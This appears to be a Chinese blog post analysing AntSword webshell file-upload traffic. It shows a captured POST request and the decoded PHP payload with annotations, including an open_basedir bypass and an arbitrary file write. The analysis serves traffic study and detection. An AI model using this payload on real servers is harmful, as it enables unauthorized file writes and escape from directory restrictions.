浅析蚁剑文件上传流量
文件名:1.txt 内容:zzp
数据包:
POST /123.php HTTP/1.1
Host: 127.0.0.1
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:23.0) Gecko/20131011 Firefox/23.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 1687
Connection: close
cmd=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3B%24opdir%3D%40ini_get(%22open_basedir%22)%3Bif(%24opdir)%20%7B%24ocwd%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3B%24oparr%3Dpreg_split(base64_decode(%22Lzt8Oi8%3D%22)%2C%24opdir)%3B%40array_push(%24oparr%2C%24ocwd%2Csys_get_temp_dir())%3Bforeach(%24oparr%20as%20%24item)%20%7Bif(!%40is_writable(%24item))%7Bcontinue%3B%7D%3B%24tmdir%3D%24item.%22%2F.86709ca3aef%22%3B%40mkdir(%24tmdir)%3Bif(!%40file_exists(%24tmdir))%7Bcontinue%3B%7D%24tmdir%3Drealpath(%24tmdir)%3B%40chdir(%24tmdir)%3B%40ini_set(%22open_basedir%22%2C%20%22..%22)%3B%24cntarr%3D%40preg_split(%22%2F%5C%5C%5C%5C%7C%5C%2F%2F%22%2C%24tmdir)%3Bfor(%24i%3D0%3B%24i%3Csizeof(%24cntarr)%3B%24i%2B%2B)%7B%40chdir(%22..%22)%3B%7D%3B%40ini_set(%22open_basedir%22%2C%22%2F%22)%3B%40rmdir(%24tmdir)%3Bbreak%3B%7D%3B%7D%3B%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%2214b1ce%22.%22c903a2%22%3Becho%20%40asenc(%24output)%3Becho%20%22097%22.%2223b%22%3B%7Dob_start()%3Btry%7B%24f%3Dbase64_decode(substr(%24_POST%5B%22ge4a593942d555%22%5D%2C2))%3B%24c%3D%24_POST%5B%22md04d3815c1e44%22%5D%3B%24c%3Dstr_replace(%22%5Cr%22%2C%22%22%2C%24c)%3B%24c%3Dstr_replace(%22%5Cn%22%2C%22%22%2C%24c)%3B%24buf%3D%22%22%3Bfor(%24i%3D0%3B%24i%3Cstrlen(%24c)%3B%24i%2B%3D2)%24buf.%3Durldecode(%22%25%22.substr(%24c%2C%24i%2C2))%3Becho(%40fwrite(fopen(%24f%2C%22a%22)%2C%24buf)%3F%221%22%3A%220%22)%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B&ge4a593942d555=p7RDovcGhwU3R1ZHkvV1dXLzEudHh0&md04d3815c1e44=7A7A70
执行代码:
<?php
// 禁用错误显示
@ini_set("display_errors", "0");
// 设置脚本运行时间限制为无限
@set_time_limit(0);
// 获取当前PHP配置中的 open_basedir open_basedir会限制脚本只能访问指定的目录 init_get获取当前 PHP 配置选项的值 语法ini_get("配置名称") open_basedir的值为"/var/www/html:/tmp"
$opdir = @ini_get("open_basedir");
// 如果 open_basedir 设置了值
if ($opdir) {
// // 获取当前脚本的目录(获取目录部分的路径),通过使用 $_SERVER["SCRIPT_FILENAME"] 超全局变量来获取当前脚本的绝对文件路径,然后通过 dirname 函数来提取该文件路径的目录部分。
$ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
// 将 open_basedir 字符串按特定分隔符切割为数组 preg_split用于将字符串分割成数组 使用了正则表达式还对正则筛选条件进行了加解密
// 语法preg_split($正则表达式模式,用于指定分隔符, $要分割的原始字符串, $limit = 可选的参数,指定最大分割次数。默认值是 -1,表示没有限制,
// $flags = 可选的标志参数,用于修改分割行为,例如大小写敏感、全局匹配等)
$oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);
// 将当前目录、临时目录加入数组 $ocwd 是通过 dirname($_SERVER["SCRIPT_FILENAME"]) 获取的当前脚本的目录路径。
// sys_get_temp_dir() 是一个 PHP 函数,用于获取系统的临时目录路径。
@array_push($oparr, $ocwd, sys_get_temp_dir());
// 遍历数组中的每个路径
// 检查当前迭代的 $item 是否可写(即是否具有写入权限)。
// 如果 $item 不可写,那么 if (!@is_writable($item)) 的条件为真,代码会执行 continue;,
// 这将导致跳过当前迭代并继续下一个。
foreach ($oparr as $item) {
// 如果目录不可写,继续下一个
if (!@is_writable($item)) {
continue;
}
// 创建一个临时目录 "/.86709ca3aef"后面连接的为随机数值
$tmdir = $item . "/.86709ca3aef";
// 创建目录
@mkdir($tmdir);
// 如果临时目录不存在,继续下一个
if (!@file_exists($tmdir)) {
continue;
}
// 获取临时目录的绝对路径
$tmdir = realpath($tmdir);
// 切换当前工作目录到该目录 $tmdir 是之前生成的一个临时目录的路径,
// 通过一系列操作和检查确保它是一个可写的目录。一旦确认 $tmdir 是一个有效的、可写的目录,
// 代码尝试通过 @chdir($tmdir) 将当前的工作目录更改为这个目录。
@chdir($tmdir);
// 临时更改 open_basedir 为上级目录
// ini_set 是 PHP 的内置函数,用于动态地设置 PHP 的配置选项。
// "open_basedir" 是要设置的配置选项的名称。open_basedir 用于指定 PHP 可以访问的目录的限制,以提高安全性。
// ".." 是要将 open_basedir 设置为的新值,这表示 PHP 脚本在运行时可以访问上一级目录。
@ini_set("open_basedir", "..");
// 将路径按斜杠或反斜杠分割为数组
// $tmdir 是一个包含路径的字符串,例如 /path/to/directory/file.txt。
// preg_split 是一个用于正则表达式分割字符串的 PHP 函数。
// "/\\\\|\//" 是一个正则表达式模式,它指定了两个可能的分隔符:反斜杠 \ 和斜杠 /。在正则表达式中,反斜杠 \ 是一个特殊字符,
// 因此需要用两次反斜杠 \\ 来匹配它。
// $cntarr 是一个数组,它将包含分割后的部分。
$cntarr = @preg_split("/\\\\|\//", $tmdir);
// 逐层切换到上级目录,复原 open_basedir
// $cntarr 是一个数组,它包含了之前通过正则表达式分割得到的目录路径的各个部分。
// for ($i = 0; $i < sizeof($cntarr); $i++) 是一个 for 循环,它从数组的第一个元素开始,一直遍历到最后一个元素。
// 在每次循环迭代中,@chdir("..") 用于将当前的工作目录(当前目录)向上移动到上一级目录。
for ($i = 0; $i < sizeof($cntarr); $i++) {
@chdir("..");
}
// 恢复 open_basedir 为根目录
// ini_set 是 PHP 的内置函数,用于动态地设置 PHP 的配置选项。
// "open_basedir" 是要设置的配置选项的名称。open_basedir 用于指定 PHP 可以访问的目录的限制,以提高安全性。
@ini_set("open_basedir", "/");
// 移除临时目录
@rmdir($tmdir);
// 退出循环
break;
}
}
// 定义一个用于加密的函数
// 在尝试绕过 PHP 的 open_basedir 限制,
// 它尝试在当前环境下创建一个可写的临时目录,然后在该目录中进行一些操作
function asenc($out)
{
return $out;
}
// 定义一个用于输出的函数
// 获取输出缓冲区的内容:$output = ob_get_contents();
// 用于获取输出缓冲区中的内容,并将其保存在 $output 变量中。
// 清空输出缓冲区:ob_end_clean(); 用于清空输出缓冲区,以便后续重新填充缓冲区或输出内容。
// 输出一些字符和经过 asenc 处理的内容:这部分代码用于在输出中添加一些字符,并将经过 asenc 处理的 $output 输出到页面。
// @asenc($output) 是调用了名为 asenc 的函数来处理输出内容,这个函数在先前的代码中定义。
function asoutput()
{
// 获取输出缓冲区的内容
$output = ob_get_contents();
// 清空输出缓冲区
ob_end_clean();
// 输出一些字符串
echo "14b1ce" . "c903a2";
// 调用 asenc 函数对输出进行加密
echo @asenc($output);
// 输出另一些字符串
echo "097" . "23b";
}
// ob_start();: 这一行代码启用输出缓冲区,
// 用于将后续的输出内容暂时存储在缓冲区中,而不是立即发送到浏览器。
ob_start();
try { // try { ... } catch (Exception $e) { ... }
// 获取文件路径并进行处理
// 将一个经过 base64 编码的字符串解码,并将其结果存储在 $f 变量中
// 使用 p7RDovcGhwU3R1ZHkvV1dXLzEudHh0替换 $_POST["ge4a593942d555"]
$f = base64_decode(substr('p7RDovcGhwU3R1ZHkvV1dXLzEudHh0', 2));
//md04d3815c1e44 = 7A7A70 替换$_POST
$c = '7A7A70';
// 用于从字符串 $c 中移除换行符(\r 和 \n),以避免可能引起的格式问题。
$c = str_replace("\r", "", $c);
$c = str_replace("\n", "", $c);
// 定义变量
$buf = "";
// 将字符串 $c 按每两个字符进行处理,然后将处理后的结果存储在 $buf 变量中。
// 它使用 urldecode() 函数对字符串进行 URL 解码。
for ($i = 0; $i < strlen($c); $i += 2)
$buf .= urldecode("%" . substr($c, $i, 2));
// 将 URL 编码的字符串解码后写入文件
// 将 $buf 中的内容写入到文件 $f 中,使用 "a" 模式表示以追加方式打开文件。
// 然后,根据写入的结果,它要么输出 "1" 表示成功,要么输出 "0" 表示失败。
echo(@fwrite(fopen($f, "a"), $buf) ? "1" : "0");
} catch (Exception $e) {
// 在 try 块中发生了任何异常,代码将跳转到这个块中。
// 它会输出一个错误消息,显示异常的详细信息
echo "ERROR://" . $e->getMessage();
}
// 调用 asoutput 函数以输出缓冲区中的内容
asoutput();
// 终止脚本的执行
die();
//&
//ge4a593942d555 = p7RDovcGhwU3R1ZHkvV1dXLzEudHh0 & md04d3815c1e44 = 7A7A70